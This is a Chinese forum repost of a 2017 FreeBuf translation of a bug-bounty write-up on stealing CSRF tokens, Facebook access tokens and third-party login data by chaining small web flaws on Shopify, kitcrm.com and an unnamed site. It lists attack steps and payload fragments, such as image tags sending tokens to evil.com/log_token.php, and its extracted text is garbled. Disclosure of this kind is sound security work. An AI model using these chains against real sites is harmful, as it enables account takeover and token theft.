搜索

[11501] 2017-06-26_看我如何利用开发人员所犯的小错误来盗取各种tokens

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2017-06-26_看我如何利用开发人员所犯的小错误来盗取各种tokens 看 我 如 何 利 用 开 发 人 员 所 犯 的 小 错 误 来 盗 取 各 种 t o k e n s A l p h a _ h 4 c k   F r e e B u f   2 0 1 7 - 0 6 - 2 6 实 际 上 ， 在 日 常 的 开 发 过 程 中 ， 开 发 人 员 很 有 可 能 会 犯 各 种 各 样 貌 似 实 际 上 ， 在 日 常 的 开 发 过 程 中 ， 开 发 人 员 很 有 可 能 会 犯 各 种 各 样 貌 似 “ 无 伤 大 雅 无 伤 大 雅 ” 的 小 错 误 ， 单 独 一 个 这 样 的 小 错 的 小 错 误 ， 单 独 一 个 这 样 的 小 错 误 可 能 并 不 能 搞 什 么 事 情 ， 但 如 果 将 这 些 错 误 串 起 来 形 成 一 个 漏 洞 链 ， 那 么 后 果 可 就 严 重 了 。 在 这 篇 文 章 中 ， 我 误 可 能 并 不 能 搞 什 么 事 情 ， 但 如 果 将 这 些 错 误 串 起 来 形 成 一 个 漏 洞 链 ， 那 么 后 果 可 就 严 重 了 。 在 这 篇 文 章 中 ， 我 将 跟 大 家 交 流 一 下 如 何 利 用 开 发 人 员 所 犯 下 的 各 种 错 误 来 窃 取 敏 感 的 将 跟 大 家 交 流 一 下 如 何 利 用 开 发 人 员 所 犯 下 的 各 种 错 误 来 窃 取 敏 感 的 T o k e n 。 。 1 . 通 过 通 过 G o o g l e A n a l y t i c s 窃 取 窃 取 C S R F   t o k e n 当 我 在 a p p s . s h o p i i f y . c o m 上 进 行 一 些 简 单 的 随 机 测 试 时 ， 我 随 机 访 问 到 了 一 个 a p p 页 面 ， 然 后 点 击 了 “ W r i t e   a   r e v i e w ” （ 写 评 论 ） 按 钮 。 由 于 当 时 我 并 没 有 登 录 自 己 的 账 号 ， 因 此 网 站 将 我 重 定 向 到 了 登 录 页 面 ， 完 成 登 录 之 后 我 又 被 重 定 向 到 了 刚 才 那 个 应 用 的 介 绍 页 面 。 没 错 ， 一 切 貌 似 都 很 正 常 。 但 是 有 一 个 不 正 常 的 地 方 ， 那 就 是 我 所 得 到 的 重 定 向 链 接 中 包 含 了 下 面 这 个 G E T 参 数 ： 这 就 很 完 美 了 ！ 首 先 ， 我 知 道 S h o p i f y 允 许 用 户 在 应 用 描 述 中 添 加 富 文 本 信 息 ， 于 是 我 就 觉 得 应 该 可 以 在 这 里 添 加 一 张 图 片 （ 图 片 托 管 在 a u t h e n t i c i t y _ t o k e n = [ C S R F _ T O K E N ]
我 的 服 务 器 中 ） 并 从 数 据 包 的 r e f e r e r 头 中 获 取 到 t o k e n ， 或 者 添 加 一 条 链 接 然 后 欺 骗 用 户 去 点 击 它 。 不 出 所 料 ， 这 果 然 行 不 通 ， 因 为 网 站 只 允 许 使 用 以 下 标 签 ： 如 果 网 站 允 许 加 载 外 部 图 片 的 话 ， 我 就 可 以 通 过 下 面 这 种 方 法 来 添 加 一 张 外 部 图 片 然 后 记 录 r e f e r r e r 头 的 数 据 但 很 不 幸 这 种 方 法 在 这 里 行 不 通 。 除 此 之 外 ， 这 里 也 不 允 许 使 用 标 签 ， 可 能 是 服 务 器 出 错 了 吧 。 不 过 也 无 所 谓 ， 反 正 我 也 不 打 算 通 过 这 个 标 签 来 窃 取 t o k e n ， 因 为 这 种 方 法 所 需 要 的 用 户 交 互 太 多 了 。 我 已 经 将 该 漏 洞 通 过 H a c k e r O n e 上 报 给 了 S h o p i f y ， 感 兴 趣 的 同 学 可 以 查 看 相 关 的 漏 洞 报 告 。 2 . 通 过 各 种 小 漏 洞 窃 取 通 过 各 种 小 漏 洞 窃 取 F a c e b o o k 的 访 问 令 牌 的 访 问 令 牌 对 于 这 种 类 型 的 漏 洞 ， 我 所 能 找 出 了 例 子 已 经 数 不 胜 数 了 ， 其 中 的 一 个 我 已 经 在 H a c k e r O n e 上 披 露 了 相 关 细 节 ， 感 兴 趣 的 同 学 可 以 查 阅 一 下 ， 也 许 你 可 以 从 中 了 解 到 这 种 漏 洞 的 运 行 机 制 。 在 此 之 前 ， 我 已 经 在 F a c e b o o k 上 找 到 了 很 多 影 响 很 小 或 者 根 本 没 有 影 响 的 安 全 漏 洞 ， 但 如 果 我 们 将 这 些 漏 洞 全 部 串 起 来 形 成 一 个 漏 洞 链 ， 那 么 我 们 将 有 可 能 窃 取 到 F a c e b o o k 提 供 给 k i t c r m . c o m 的 F a c e b o o k 用 户 访 问 令 牌 （ 当 前 用 户 ） 。 a . 在 k i t c r m . c o m 中 ， 用 户 通 过 s h o p i f y 账 号 完 成 注 册 ， 此 时 他 们 商 店 中 的 产 品 将 会 出 现 在 P r i o r i t y   P r o d u c t s 区 域 中 。 b . 当 用 户 尝 试 编 辑 一 款 P r i o r i t y   P r o d u c t s 时 ， 提 交 的 请 求 中 将 包 含 产 品 图 片 的 U R L 地 址 ， 其 中 u r l 以 P O S T 参 数 的 形 式 出 现 。 c . 用 户 可 以 随 意 设 置 产 品 图 片 ， 比 如 说 ， 用 户 可 以 将 产 品 图 片 （ u r l ） 设 为 h t t p : / / e v i l . c o m / ， 而 系 统 将 会 接 受 修 改 并 将 其 作 为 产 品 图 片 的 u r l 。 < a > < b >   < b l o c k q u o t e >   < h 2 >   < h 3 >   < i >   < l i > < o l >   < p >   < u l > < i m g   s r c = / / m y s e r v e r / l o g . p h p >
d . 不 会 对 认 证 令 牌 的 有 效 性 进 行 验 证 ， 所 以 网 站 的 登 录 节 点 则 存 在 一 个 C S R F 漏 洞 （ 其 实 也 没 多 大 影 响 ） 。 e . k i t c r m . c o m 的 用 户 可 以 通 过 访 问 h t t p s : / / w w w . k i t c r m . c o m / u s e r s / a u t h / s h o p i f y ? s h o p = z h 5 4 0 9 . m y s h o p i f y . c o m 来 完 成 自 动 验 证 ， 访 问 之 后 用 户 将 会 被 重 定 向 到 h t t p s : / / z h 5 4 0 9 . m y s h o p i f y . c o m / a d m i n / o a u t h / a u t h o r i z e ? c l i e n t _ i d = 1 3 3 3 a 1 b 8 3 c c d f 7 a 7 … . . ， 接 下 来 用 户 又 会 被 重 定 向 回 k i t c r m . c o m 并 完 成 登 录 验 证 。 f . K i t c r m 的 F a c e b o o k 认 证 应 用 的 r e d i r e c t _ u r i 配 置 将 允 许 重 定 向 到 下 面 这 种 形 式 的 地 址 ： 现 在 将 我 刚 才 所 说 的 东 西 串 联 起 来 ， 我 们 就 能 够 窃 取 到 用 户 的 F a c e b o o k 访 问 令 牌 了 ： 1 .   攻 击 者 注 册 一 个 s h o p i f y 商 店 ， 然 后 用 它 来 注 册 一 个 k i t c r m . c o m 账 号 ； 2 .   注 册 成 功 之 后 ， 将 他 的 P r i o r i t y   P r o d u c t 产 品 图 片 u r l 修 改 为 h t t p s : / / e v i l . c o m / l o g _ t o k e n . p h p ； 3 .   接 下 来 ， 想 办 法 欺 骗 用 户 访 问 一 个 特 殊 制 作 的 H T M L 页 面 ； 4 .   通 过 C S R F 将 目 标 用 户 登 录 进 攻 击 者 的 商 店 ； 5 .   通 过 C S R F 将 目 标 用 户 登 录 进 k i t c r m . c o m ； 6 .   将 目 标 用 户 重 定 向 至 h t t p s : / / w w w . f a c e b o o k . c o m / v 2 . 7 / d i a l o g / o a u t h ? c l i e n t _ i d = 3 7 2 0 3 3 1 9 2 8 9 7 6 2 1 & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F w w w . k i t c r m . c o m % 2 F s e l l e r / o n b o a r d i n g / 1 & r e s p o n s e _ t y p e . . . . ， 这 条 链 接 又 会 将 他 重 定 向 回 h t t p s : / / w w w . k i t c r m . c o m / s e l l e r / o n b o a r d i n g / 1 ? c o d e = [ f b _ t o k e n ] 7 .   当 用 户 从 F a c e b o o k 重 定 向 到 k i t c r m . c o m 之 后 ， 系 统 会 向 h t t p s : / / e v i l . c o m / l o g _ t o k e n . p h p 发 送 一 个 请 求 ， 而 返 回 的 r e f e r r e r 头 重 则 包 含 了 我 们 所 要 的 东 西 ； 8 .   现 在 ， 攻 击 者 就 可 以 将 得 到 的 t o k e n 保 存 在 自 己 的 后 台 服 务 器 中 ， 然 后 用 它 来 登 录 目 标 用 户 的 F a c e b o o k 账 号 了 。 P o C 代 码 代 码 S t e a l . h t m l l o g _ t o k e n . p h p h t t p s : / / w w w . k i t c r m . c o m / < A N Y T H I N G >
3 . S i l l y X S S 与 账 号 接 管 与 账 号 接 管 注 ： 首 先 我 要 声 明 ， 这 是 一 个 非 公 开 的 测 试 项 目 ， 因 此 我 不 会 在 这 里 提 到 任 何 有 关 厂 商 的 内 容 。 什 么 ？ 你 没 听 说 过 S i l l y   X S S ? 好 吧 … 在 我 看 来 ， S i l l y X S S 指 的 仍 然 是 一 个 X S S 漏 洞 ， 但 这 个 漏 洞 只 能 作 用 于 过 时 的 浏 览 器 中 ； 不 过 还 有 一 种 定 义 ， 即 指 的 是 那 种 需 要 大 量 用 户 交 互 才 可 以 利 用 的 X S S 漏 洞 。 这 一 次 测 试 过 程 中 出 现 的 X S S 存 在 于 一 个 隐 藏 的 标 签 中 ， 所 以 我 打 算 通 过 下 面 这 种 方 法 注 入 我 的 p a y l o a d ： 但 标 签 的 “ < ” 却 被 网 站 替 换 掉 了 （ s t r _ r e p l a c e ( $ p a y l o a d , ’ < ’   , ’ ’ ) ） ， 所 以 这 种 方 法 不 可 行 。 P o r t s w i g g e r 上 的 一 位 网 友 曾 写 过 一 篇 关 于 “ 隐 藏 域 中 的 X S S 漏 洞 “ 的 文 章 ， 感 兴 趣 的 同 学 可 以 参 考 一 下 【 传 送 门 】 。 总 结 之 后 发 现 ， 我 们 可 以 使 用 ， 当 用 户 按 下 A L T + S H I F T + X 之 后 便 会 触 发 o n c l i c k 事 件 ， 但 这 样 不 仅 需 要 大 量 的 用 户 交 互 （ S i l l y   X S S ） ， 而 且 也 很 可 能 拿 不 到 高 额 的 漏 洞 奖 励 。 所 以 我 还 是 得 靠 自 己 ， 我 得 想 办 法 设 计 一 种 新 的 方 法 来 利 用 这 种 隐 藏 域 中 的 X S S 漏 洞 。 比 如 说 下 面 这 种 方 法 ： 但 这 样 还 是 不 行 ， 因 为 浏 览 器 无 法 给 出 类 型 为 h i d d e n 的 i n p u t 。 所 以 我 得 把 t y p e 属 性 的 值 修 改 为 除 了 “ h i d d e n ” 之 外 的 其 他 值 。 例 如 ： 但 浏 览 器 会 忽 略 我 所 添 加 的 这 种 多 重 属 性 ， 并 只 会 接 受 第 一 个 属 性 值 。 当 时 我 在 寻 找 X S S 漏 洞 利 用 的 方 法 时 所 测 试 的 其 中 一 个 地 方 是 x ”   t y p e = i m a g e s r c = h t t p : / / a a a a . c o m   x ， 而 这 种 参 数 形 式 可 以 向 发 送 一 个 请 求 ， 而 且 t y p e 类 型 仍 然 是 “ h i d d e n ” ！ ！ 但 是 当 我 用 F i r e f o x 测 试 同 样 的 内 容 时 ， 浏 览 器 却 没 有 发 出 请 求 ， 所 以 我 的 第 一 反 应 就 是 将 该 问 题 上 报 给 G o o g l e ， 但 随 后 我 便 发 现 这 个 漏 洞 已 经 有 人 报 告 过 了 ， 不 过 G o o g l e 对 此 却 不 以 为 然 。 综 上 所 述 ， 我 们 可 以 通 过 目 标 站 点 来 请 求 任 何 外 部 资 源 ， 而 此 时 网 站 支 持 用 户 通 过 第 三 方 服 务 （ 例 如 微 信 ） 来 完 成 登 录 的 话 ， 那 么 我 所 要 做 的 就 是 将 参 数 设 置 为 ， 当 用 户 通 过 第 三 方 服 务 完 成 了 网 站 登 录 之 后 ， 他 将 会 被 重 定 向 到 ， 而 我 在 p a y l o a d 中 注 入 的 H T M L 会 将 我 们 所 要 的 数 据 从 （ 微 信 ） 后 台 返 回 到 我 的 服 务 器 中 ， 接 下 来 我 就 可 以 用 这 些 数 据 来 登 录 目 标 用 户 的 账 号 了 。 结 束 语 结 束 语 如 果 有 什 么 不 懂 的 地 方 ， 欢 迎 大 家 通 过 T w i t t e r 与 我 联 系 （ @ Z o m b i e h e l p 5 4 ） 。 < i n p u t   t y p e = " h i d d e n "   n a m e = " f o o "   v a l u e = " [ X S S ] " > x " t y p e = t e x t   o n m o u s e o v e r = a l e r t ( 1 )   x [ h t t p : / / a a a a . c o m ] ( h t t p : / / a a a a . c o m ) r e d i r e c t _ u r i [ h t t p s : / / v u l n e r a b l e / p a t h / t o / x s s / p a y l o a d ] ( h t t p s : / / v u l n e r a b l e / p a t h / t o / x s s / p a y l o a d ) [ h t t p s : / / v u l n e r a b l e / p a t h / t o / x s s / p a y l o a d ] ( h t t p s : / / v u l n e r a b l e / p a t h / t o / x s s / p a y l o a d )
* 参 考 来 源 ： 参 考 来 源 ： s e e k u r i t y ， ，   F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理